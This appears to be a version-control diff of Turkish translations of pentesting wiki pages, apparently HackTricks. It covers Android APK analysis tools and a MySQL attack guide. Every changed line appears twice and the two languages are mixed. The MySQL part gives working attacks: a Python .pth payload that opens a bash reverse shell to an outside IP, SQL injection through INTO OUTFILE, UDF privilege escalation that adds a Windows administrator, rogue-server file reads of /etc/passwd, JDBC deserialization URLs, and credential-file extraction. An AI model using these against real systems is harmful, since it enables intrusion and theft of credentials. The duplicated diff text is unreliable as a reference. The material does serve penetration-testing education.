### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- Kolay referans için çıkarılan tüm dosyaları görüntüler
- APK dosyalarını otomatik olarak Java ve Smali formatına decompile eder
- AndroidManifest.xml'ü yaygın zafiyetler ve davranışlar için analiz eder
- Yaygın zafiyetler ve davranışlar için statik kaynak kodu analizi
- Kolay referans için tüm çıkarılan dosyaları gösterir.
- APK dosyalarını otomatik olarak Java ve Smali formatına decompile eder.
- AndroidManifest.xml dosyasını yaygın güvenlik açıkları ve davranışlar açısından analiz eder.
- Yaygın güvenlik açıkları ve davranışlar için statik kaynak kodu analizi yapar.
- Cihaz bilgileri
- ve daha fazlası
```bash
@ -697,9 +697,9 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER, Windows, MacOS X ve Linux'ta kullanılabilen bir komut satırı uygulamasıdır; _.apk_ dosyalarını vulnerabilities açısından analiz eder. Bunu APK'leri dekomprese ederek ve söz konusu vulnerabilities'i tespit etmek için bir dizi kural uygulayarak yapar.
SUPER, Windows, MacOS X ve Linux'ta kullanılabilen bir komut satırı uygulamasıdır; _.apk_ dosyalarını güvenlik açıklarıısından analiz eder. Bunu, APK'leri dekomprese ederek ve bu açıkları tespit etmek için bir dizi kural uygulayarak yapar.
Tüm kurallar `rules.json` dosyasında toplanmıştır; her şirket veya test uzmanı ihtiyaçlarına göre kendi kurallarını oluşturabilir.
Tüm kurallar `rules.json` dosyasında toplanmıştır ve her şirket veya test uzmanı ihtiyaçlarına göre kendi kurallarını oluşturabilir.
En son ikili dosyaları [download page](https://superanalyzer.rocks/download.html) üzerinden indirin.
```
@ -709,9 +709,9 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn, mobil uygulamalarda [static code analysis] yapan geliştiricilere, bugbounty hunters ve ethical hackers'a yardımcı olan bir **crossplatform** araçtır.
StaCoAn, mobil uygulamalar üzerinde [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) yapan geliştiricilere, bugbounty hunters ve ethical hackers'e yardımcı olan bir **crossplatform** araçtır.
Konsept şu: mobil uygulama dosyanızı (.apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakırsınız ve uygulama sizin için görsel ve taşınabilir bir rapor oluşturur. Ayarları ve wordlists'i değiştirerek özelleştirilmiş bir deneyim elde edebilirsiniz.
Konsept, mobil uygulama dosyanızı (.apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve bunun sizin için görsel ve taşınabilir bir rapor oluşturmasıdır. Ayarları ve wordlists'i düzenleyerek özelleştirilmiş bir deneyim elde edebilirsiniz.
İndir[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
@ -719,7 +719,7 @@ Konsept şu: mobil uygulama dosyanızı (.apk veya .ipa dosyası) StaCoAn uygula
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework, geliştiricilerin veya hackers'ın Android uygulamalarındaki potansiyel güvenlik açıklarını bulmalarına yardımcı olan bir Android zafiyet analiz sistemidir.\
AndroBugs Framework, geliştiriciler veya hackers için Android uygulamalarındaki potansiyel güvenlik açıklarını bulmaya yardımcı olan bir Android zafiyet analiz sistemidir.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -727,11 +727,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** Android uygulamaları tarafından geliştirilen potansiyel kötü amaçlı davranışları tespit edip kullanıcıyı uyarmayı amaçlayan bir araçtır.
**Androwarn** Android uygulamalarının potansiyel kötü amaçlı davranışlarını tespit etmek ve kullanıcıyı uyarmak amacıyla geliştirilmiş bir araçtır.
Tespit, uygulamanın Dalvik bytecode'unda temsil edilen **Smali** üzerinden yapılan **static analysis** ile [`androguard`](https://github.com/androguard/androguard) kütüphanesi kullanılarak gerçekleştirilir.
Tespit, uygulamanın Dalvik bytecode'unun **Smali** olarak temsil edildiği **static analysis** ile [`androguard`](https://github.com/androguard/androguard) kütüphanesi kullanılarak gerçekleştirilir.
Bu araç, **"kötü" uygulamaların ortak davranışları** gibi şunları arar: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
Bu araç, **kötü uygulamaların ortak davranışlarını** şu durumlarda arar: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -739,7 +739,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Mobil uygulamaların OWASP mobile security tehditlerine karşı test edilmesine yardımcı olmak için yaygın kullanılan mobile application reverse engineering and analysis araçlarını bir araya getiren bir araçtır. Amacı bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve kullanıcı dostu hale getirmektir.
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. It is a tool that puts together commonly used mobile application reverse engineering and analysis tools, to assist in testing mobile applications against the OWASP mobile security threats. Its objective is to make this task easier and friendlier to mobile application developers and security professionals.
It is able to:
@ -752,11 +752,11 @@ It is able to:
### Koodous
Malware tespit etmek için faydalı: [https://koodous.com/](https://koodous.com/)
Malware tespiti için faydalı: [https://koodous.com/](https://koodous.com/)
## Obfuscating/Deobfuscating code
## Kodun Obfuskasyonu/Deobfuskasyonu
Note that depending the service and configuration you use to obfuscate the code. Secrets may or may not ended obfuscated.
Kodu obfuskasyon için kullandığınız servis ve yapılandırmaya bağlı olarak, gizli bilgiler obfuskelenmiş olabilir ya da olmayabilir.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
@ -780,7 +780,7 @@ Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexgu
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
You can upload an obfuscated APK to their platform.
Platformlarına obfuskelenmiş bir APK yükleyebilirsiniz.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
@ -802,13 +802,13 @@ APKiD gives you information about **how an APK was made**. It identifies many **
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis.
AndroL4b, ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir ve reverse engineering ile malware analysis için farklı güvenlik meraklıları ve araştırmacıların en son framework, tutorial ve lab koleksiyonlarını içerir.
## References
## Referanslar
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Harika bir kaynak listesi
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android hızlı kurs
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
@ -816,7 +816,7 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
## Yet to try
## Denenecekler
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)

View File

@ -4,7 +4,7 @@
## **Temel Bilgiler**
**MySQL** ücretsiz olarak edinilebilen açık kaynaklı bir **İlişkisel Veritabanı Yönetim Sistemi (RDBMS)** olarak tanımlanabilir. Veritabanlarının yönetilmesini ve manipülasyonunu sağlayan **Yapılandırılmış Sorgu Dili (SQL)** ile çalışır.
**MySQL** ücretsiz olarak erişilebilen açık kaynaklı bir **İlişkisel Veritabanı Yönetim Sistemi (RDBMS)** olarak tanımlanabilir. **Yapılandırılmış Sorgu Dili (SQL)** üzerinde çalışır; veritabanlarının yönetilmesine ve manipüle edilmesine olanak tanır.
**Varsayılan port:** 3306
```
@ -17,14 +17,14 @@
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
### Uzaktan
### Uzak
```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
## Harici Enumeration
Bazı enumeration işlemleri geçerli kimlik bilgileri gerektirir
Bazı enumeration eylemleri geçerli credentials gerektirir
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### Herhangi bir ikili veriyi yazma
### Herhangi bir ikili veriyi yaz
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@ -78,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### MySQL İzinlerini Keşfetme
### MySQL İzinleri Keşfi
```sql
#Mysql
SHOW GRANTS [FOR user];
@ -103,7 +103,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
```
You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL File RCE
### MySQL Dosya RCE
{{#ref}}
@ -112,55 +112,57 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do
#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
Klasik `INTO OUTFILE` primitive'ini suistimal ederek, daha sonra **Python** scriptleri çalıştıran hedeflerde *arbitrary code execution* elde etmek mümkündür.
Klasik `INTO OUTFILE` primitive'ını kötüye kullanarak, daha sonra **Python** scriptleri çalıştıran hedeflerde *arbitrary code execution* elde etmek mümkündür.
1. `site.py` tarafından otomatik olarak yüklenen herhangi bir dizine (ör. `.../lib/python3.10/site-packages/`) özel bir **`.pth`** dosyası bırakmak için `INTO OUTFILE` kullanın.
2. `.pth` dosyası, `import ` ile başlayan ve yorumlayıcı her başladığında çalıştırılacak keyfi Python kodunu takip eden *tek bir satır* içerebilir.
3. Yorumlayıcı bir CGI scripti tarafından zımnen çalıştırıldığında (ör. shebang `#!/bin/python` ile `/cgi-bin/ml-draw.py`), payload web sunucusu işlemiyle aynı ayrıcalıklarla çalıştırılır (FortiWeb bunu **root** olarak çalıştırdı → full pre-auth RCE).
1. `INTO OUTFILE` kullanarak `site.py` tarafından otomatik yüklenen herhangi bir dizinin içine özel bir **`.pth`** dosyası bırakın (ör. `.../lib/python3.10/site-packages/`).
2. `.pth` dosyası, `import ` ile başlayan ve ardından yorumlayıcı her başlatıldığında çalıştırılacak herhangi bir Python kodunu içeren *tek bir satır* barındırabilir.
3. Yorumlayıcı bir CGI script tarafından dolaylı olarak çalıştırıldığında (ör. `/cgi-bin/ml-draw.py` ile shebang `#!/bin/python`) payload, web sunucusu süreciyle aynı ayrıcalıklarla çalıştırılır (FortiWeb bunu **root** olarak çalıştırdı → full pre-auth RCE).
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
Örnek `.pth` payload (tek satır, final SQL payload içine boşluk eklenemez, bu yüzden hex/`UNHEX()` veya string concatenation gerekebilir):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Bir **UNION** sorgusu ile dosyanın oluşturulmasına örnek (boşluk karakterleri `/**/` ile değiştirilmiş, böylece `sscanf("%128s")` boşluk filtresi atlatılıyor ve toplam uzunluk ≤128 byte tutuluyor):
Dosyayı **UNION** sorgusu aracılığıyla oluşturma örneği (boşluk karakterleri `/**/` ile değiştirilmiş, bir `sscanf("%128s")` boşluk filtresini atlatmak ve toplam uzunluğun ≤128 baytta kalmasını sağlamak için):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Önemli sınırlamalar & bypasses:
Önemli sınırlamalar ve baypaslar:
* `INTO OUTFILE` **mevcut dosyaların üzerine yazamaz**; yeni bir dosya adı seçin.
* Dosya yolu **MySQLs CWD**'ye göre çözülür; bu yüzden başına `../../` eklemek yolu kısaltmaya ve absolute-path kısıtlamalarını bypass etmeye yardımcı olur.
* Eğer saldırgan girdisi `%128s` (veya benzeri) ile çıkarılıyorsa, herhangi bir boşluk payload'u keser; boşlukların yerine koymak için MySQL yorum dizileri `/**/` veya `/*!*/` kullanın.
* Sorguyu çalıştıran MySQL kullanıcısının `FILE` ayrıcalığına ihtiyacı vardır, ancak birçok appliance (örn. FortiWeb) servis **root** olarak çalışır ve neredeyse her yere yazma erişimi verir.
* Dosya yolu **MySQLs CWD** baz alınarak çözülür; bu yüzden `../../` ile öneklemek yolu kısaltmaya ve mutlak yol kısıtlamalarını atlatmaya yardımcı olur.
* Saldırgan girdisi `%128s` (veya benzeri) ile çıkarılıyorsa, herhangi bir boşluk payload'u kısaltır; boşlukları değiştirmek için MySQL yorum dizileri `/**/` veya `/*!*/` kullanın.
* Sorguyu çalıştıran MySQL kullanıcısının `FILE` ayrıcalığına ihtiyacı vardır; ancak birçok cihazda (örn. FortiWeb) servis **root** olarak çalışır ve bu neredeyse her yerde yazma erişimi verir.
`.pth` dosyasını bıraktıktan sonra, python interpreter tarafından işlenen herhangi bir CGI'yi çağırmak code execution elde etmek için yeterlidir:
`.pth` bıraktıktan sonra, python interpreter tarafından işlenen herhangi bir CGI'yi isteyerek code execution elde edin:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Python süreci kötü amaçlı `.pth` dosyasını otomatik olarak import edecek ve shell payload'ı çalıştıracak.
Python süreci kötü amaçlı `.pth` dosyasını otomatik olarak import edecek ve shell payload'u çalıştıracaktır.
```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
## MySQL arbitrary read file by client
---
Aslında, **load data local into a table** ile bir tabloya bir dosyanın **içeriğini** yüklemeye çalıştığınızda, MySQL veya MariaDB sunucusu **client to read it** diyerek istemciden bunu okumasını ve içeriği göndermesini ister. **Sonuç olarak, eğer bir mysql client'ı değiştirip kendi MySQL sunucunuza bağlanmasını sağlayabiliyorsanız, keyfi dosyaları okuyabilirsiniz.**\
Lütfen bunun şu kullanım sırasında olan davranış olduğunu unutmayın:
## MySQL istemci tarafından rastgele dosya okuma
Aslında, bir tabloya **load data local into a table** ile bir dosyanın **içeriğini** yüklemeye çalıştığınızda, MySQL veya MariaDB sunucusu **client to read it** diyerek istemciden dosyayı okumasını ve içeriği göndermesini ister. **Eğer bir mysql client'ı manipüle edip kendi MySQL sunucunuza bağlanmasını sağlayabilirseniz, rastgele dosyaları okuyabilirsiniz.**\
Lütfen bunun şu kullanımda olan davranış olduğunu unutmayın:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
("local" kelimesine dikkat edin)\
Çünkü "local" olmadan şunu elde edebilirsiniz:
("local" kelimesine dikkat edin)\ Çünkü "local" olmadan şunu alabilirsiniz:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**İlk PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Bu makalede saldırının tam açıklamasını ve hatta nasıl RCE'ye genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Bu makalede saldırının tam bir ıklamasını ve hatta nasıl RCE'ye genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Burada saldırının genel bir özetini bulabilirsiniz:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -171,21 +173,21 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
### Mysql Kullanıcısı
mysql'in **root** olarak çalışıyor olması çok ilginç olacaktır:
mysql'in **root** olarak çalışması çok ilginç olacaktır:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### mysqld.cnf'nin Tehlikeli Ayarları
#### mysqld.cnf için Tehlikeli Ayarlar
MySQL hizmetlerinin yapılandırmasında, çalışmasını ve güvenlik önlemlerini tanımlamak için çeşitli ayarlar kullanılır:
MySQL servislerinin yapılandırmasında, çalışması ve güvenlik önlemlerini tanımlamak için çeşitli ayarlar kullanılır:
- MySQL hizmetinin hangi kullanıcı altında çalışacağını belirlemek için **`user`** ayarı kullanılır.
- **`password`** MySQL kullanıcısına ait parolanın belirlenmesi için kullanılır.
- **`admin_address`** yönetim ağ arabiriminde TCP/IP bağlantılarını dinleyen IP adresini belirtir.
- **`debug`** değişkeni, loglarda hassas bilgiler de dahil olmak üzere mevcut hata ayıklama yapılandırmalarını gösterir.
- **`sql_warnings`** uyarılar oluştuğunda tek satırlık INSERT ifadeleri için bilgi dizeleri üretilip üretilmeyeceğini yönetir; bu dizeler loglarda hassas veriler içerebilir.
- **`secure_file_priv`** ile veri içe/dışa aktarma işlemlerinin kapsamı güvenliği artırmak için sınırlandırılır.
- The **`user`** setting is utilized for designating the user under which the MySQL service will be executed.
- **`password`** is applied for establishing the password associated with the MySQL user.
- **`admin_address`** specifies the IP address that listens for TCP/IP connections on the administrative network interface.
- The **`debug`** variable is indicative of the present debugging configurations, including sensitive information within logs.
- **`sql_warnings`** manages whether information strings are generated for single-row INSERT statements when warnings emerge, containing sensitive data within logs.
- With **`secure_file_priv`**, the scope of data import and export operations is constrained to enhance security.
### Privilege escalation
```bash
@ -205,18 +207,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
### Kütüphane ile Ayrıcalık Yükseltme
### Privilege Escalation via library
Eğer **mysql sunucusu root olarak çalışıyorsa** (veya daha ayrıcalıklı başka bir kullanıcı olarak) onun komut çalıştırmasını sağlayabilirsiniz. Bunun için **kullanıcı tanımlı fonksiyonlar** kullanmanız gerekir. Ve bir kullanıcı tanımlı fonksiyon oluşturmak için mysql'in çalıştığı OS için bir **kütüphaneye** ihtiyacınız olacak.
Eğer **mysql server is running as root** (veya farklı, daha ayrıcalıklı bir kullanıcı olarak) çalışıyorsa, komut çalıştırmasını sağlayabilirsiniz. Bunun için **user defined functions** kullanmanız gerekir. Ve bir **user defined** oluşturmak için mysql'in çalıştığı işletim sistemi için bir **library** gerekir.
Kullanılacak kötü amaçlı kütüphaneyi sqlmap ve metasploit içinde **`locate "*lib_mysqludf_sys*"`** komutunu çalıştırarak bulabilirsiniz. **`.so`** dosyaları **linux** kütüphaneleri ve **`.dll`** dosyaları **Windows** olanlardır; ihtiyacınız olanı seçin.
Kullanılacak kötü amaçlı kütüphane sqlmap içinde ve metasploit içinde **`locate "*lib_mysqludf_sys*"`** komutunu çalıştırarak bulunabilir. **`.so`** dosyaları **linux** kütüphaneleridir ve **`.dll`** dosyaları **Windows** kütüphaneleridir; ihtiyacınıza göre uygun olanı seçin.
Eğer bu kütüphanelere **sahip değilseniz**, ya onları **aramayı** deneyin ya da bu [**linux C code**](https://www.exploit-db.com/exploits/1518) dosyasını indirip **zafiyetli linux makinede** derleyin:
Eğer bu kütüphanelere sahip değilseniz, ya onları arayabilir ya da bu [**linux C code**](https://www.exploit-db.com/exploits/1518) dosyasını indirip zafiyetli linux makinede derleyebilirsiniz:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
Kütüphaneyi elde ettiğinize göre, privileged user (root?) olarak Mysql'e giriş yapın ve aşağıdaki adımları izleyin:
Kütüphaneyi edindiğinize göre, Mysql'e ayrıcalıklı bir kullanıcı (root?) olarak giriş yapın ve şu adımları izleyin:
#### Linux
```sql
@ -250,38 +252,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
#### Windows ipucu: SQL üzerinden NTFS ADS ile dizinler oluşturma
#### Windows ipucu: SQL'den NTFS ADS ile dizin oluşturma
NTFS üzerinde, yalnızca bir dosya yazma primitive'i mevcut olsa bile alternatif bir veri akışı kullanarak dizin oluşturmayı zorlayabilirsiniz. Eğer classic UDF chain bir `plugin` dizini bekliyorsa fakat bu dizin mevcut değilse ve `@@plugin_dir` bilinmiyor veya kısıtlanmışsa, önce onu `::$INDEX_ALLOCATION` ile oluşturabilirsiniz:
NTFS üzerinde, yalnızca bir file write primitive mevcut olsa bile alternate data stream (ADS) kullanarak dizin oluşturmayı zorlayabilirsiniz. Klasik UDF zinciri bir `plugin` dizini bekliyorsa fakat bu dizin yoksa ve `@@plugin_dir` bilinmiyor veya kısıtlanmışsa, önce `::$INDEX_ALLOCATION` ile oluşturabilirsiniz:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
Bu, sınırlı `SELECT ... INTO OUTFILE`'ı, UDF drops için gereken klasör yapısını oluşturarak Windows stack'lerinde daha tam bir primitive'e dönüştürür.
Bu, sınırlı `SELECT ... INTO OUTFILE` yeteneğini Windows yığınlarında UDF drops için gereken klasör yapısını oluşturarak daha kapsamlı bir primitive'e dönüştürür.
### Dosyalardan MySQL kimlik bilgilerini çıkarma
_/etc/mysql/debian.cnf_ içinde **debian-sys-maint** kullanıcısının **düz metin parolasını** bulabilirsiniz.
İçinde _/etc/mysql/debian.cnf_ dosyasında **debian-sys-maint** kullanıcısının **plain-text password**'u bulunur.
```bash
cat /etc/mysql/debian.cnf
```
Bu kimlik bilgilerini **mysql veritabanına giriş yapmak için kullanabilirsiniz**.
Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **MySQL kullanıcılarının tüm hashes'lerini** (veritabanı içindeki mysql.user'dan çıkarabileceğinizler)_._
Dosyanın içinde: _/var/lib/mysql/mysql/user.MYD_ MySQL kullanıcılarının **tüm hashes'lerini** (veritabanı içindeki mysql.user'dan çıkarabileceğinizler)_._
Bunları şu şekilde çıkarabilirsiniz:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### Günlüklemeyi etkinleştirme
### Günlüğe kaydı etkinleştirme
mysql sorgularının kayıt tutulmasını `/etc/mysql/my.cnf` içinde aşağıdaki satırların yorum işaretlerini kaldırarak etkinleştirebilirsiniz:
mysql sorgularının günlük kaydını `/etc/mysql/my.cnf` içinde aşağıdaki satırların yorum işaretini kaldırarak etkinleştirebilirsiniz:
![](<../images/image (899).png>)
### Kullanışlı dosyalar
Yapılandırma Dosyaları
Configuration Files
- windows \*
- config.ini
@ -296,14 +298,14 @@ Yapılandırma Dosyaları
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- Komut Geçmişi
- Command History
- \~/.mysql.history
- Günlük Dosyaları
- Log Files
- connections.log
- update.log
- common.log
## Varsayılan MySQL Database/Tables
## Varsayılan MySQL Veritabanı/Tabloları
{{#tabs}}
{{#tab name="information_schema"}}
@ -657,33 +659,32 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS
## 2023-2025 Öne Çıkanlar (yeni)
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
Connector/J <= 8.0.32 sürümlerinden itibaren, **JDBC URL**'yi etkileyebilen bir saldırgan (ör. bağlantı dizesi isteyen üçüncü taraf yazılımda) `propertiesTransform` parametresi aracılığıyla *client* side'a rastgele sınıfların yüklenmesini talep edebilir. Eğer class-path üzerinde yüklenebilir bir gadget varsa bu, **remote code execution in the context of the JDBC client** ile sonuçlanır (pre-auth, çünkü geçerli kimlik bilgileri gerekmez). Minimal bir PoC şöyle görünür:
Connector/J <= 8.0.32 sürümlerinden itibaren, **JDBC URL**'yi etkileyebilen bir saldırgan (örneğin bağlantı dizesi isteyen üçüncü taraf yazılımlarda) `propertiesTransform` parametresi aracılığıyla *istemci* tarafında rastgele sınıfların yüklenmesini talep edebilir. Class-path üzerinde mevcut bir gadget yüklenebiliyorsa bu **remote code execution in the context of the JDBC client** ile sonuçlanır (pre-auth, because no valid credentials are required). Minimal bir PoC şöyle görünür:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
`Evil.class` çalıştırmak, bunu zafiyetli uygulamanın class-path'inde üretmek kadar kolay olabilir veya kötü niyetli bir MySQL sunucusunun kötü amaçlı serileştirilmiş bir nesne göndermesine izin vermek kadar basit olabilir. Bu sorun Connector/J 8.0.33'te düzeltildi — sürücüyü yükseltin veya `propertiesTransform`'ııkça bir allow-list üzerine ayarlayın.
(Detaylar için Snyk yazısını inceleyin)
`Evil.class` çalıştırmak, zafiyetli uygulamanın class-path'ine yerleştirmek veya rogue MySQL sunucusunun zararlı serileştirilmiş bir obje göndermesine izin vermek kadar kolay olabilir. Sorun Connector/J 8.0.33'te düzeltildi driver'ı güncelleyin veya açık listeye `propertiesTransform`'ııkça ayarlayın. (Detaylar için Snyk write-up'a bakın)
### JDBC istemcilerine yönelik Rogue / Fake MySQL sunucu saldırıları
Birçok açık kaynak araç, dışa bağlanan JDBC istemcilerine saldırmak için MySQL protokolünün *kısmi* bir uygulamasını gerçekleştirir:
### JDBC istemcilerine yönelik Rogue / Fake MySQL server saldırıları
Dışarı yönelen JDBC istemcilerine saldırmak için birkaç açık kaynak araç *partial* MySQL protokolünü uygular:
* **mysql-fake-server** (Java, supports file read and deserialization exploits)
* **rogue_mysql_server** (Python, similar capabilities)
* **rogue_mysql_server** (Python, benzer yetenekler)
Tipik saldırı yolları:
1. Hedef uygulama `mysql-connector-j`'i `allowLoadLocalInfile=true` veya `autoDeserialize=true` ile yükler.
2. Saldırgan, DB'nin hostname'inin kendi kontrolündeki bir makineye çözülmesini sağlayacak şekilde DNS / host girdisini kontrol eder.
3. Kötü amaçlı sunucu, ya `LOCAL INFILE` ile arbitrary file read ya da Java deserialization → RCE tetikleyen özel paketlerle yanıt verir.
2. Saldırgan DNS / host girdisini kontrol eder, böylece veritabanının hostname'i kendi kontrolündeki bir makineye çözümlenir.
3. Kötü amaçlı sunucu, ya `LOCAL INFILE` ile arbitrary file read ya da Java deserialization'ı tetikleyen hazırlanmış paketlerle yanıt vererek → RCE sağlar.
Sahte bir sunucu başlatmak için örnek tek satırlık komut (Java):
Fake bir sunucu başlatmak için örnek tek satırlık komut (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Sonra hedef uygulamayı `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` adresine yönlendirip, dosya adını base64 olarak *kullanıcı adı* alanına kodlayarak `/etc/passwd` dosyasını okuyun (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
Daha sonra hedef uygulamayı `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` adresine yönlendirip, dosya adını base64 olarak *username* alanına kodlayarak `/etc/passwd`'i okuyun (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0 parola hash'lerini **`$mysql-sha2$`** (SHA-256) olarak saklar. Hem Hashcat (mode **21100**) hem de John-the-Ripper (`--format=mysql-sha2`) 2023'ten beri çevrimdışı kırmayı destekliyor. `authentication_string` sütununu döküp doğrudan besleyin:
### `caching_sha2_password` hash'lerinin kırılması
MySQL ≥ 8.0 parola hash'lerini **`$mysql-sha2$`** (SHA-256) olarak saklar. Hem Hashcat (mode **21100**) hem de John-the-Ripper (`--format=mysql-sha2`) 2023'ten beri çevrimdışı kırmayı destekler. `authentication_string` sütununu döküp doğrudan besleyin:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -693,15 +694,15 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Sertleştirme kontrol listesi (2025)
• Çoğu dosya okuma/yazma yöntemini engellemek için **`LOCAL_INFILE=0`** ve **`--secure-file-priv=/var/empty`** ayarlayın.
• Çoğu dosya okuma/yazma işlemini engellemek için **`LOCAL_INFILE=0`** ve **`--secure-file-priv=/var/empty`** ayarlayın.
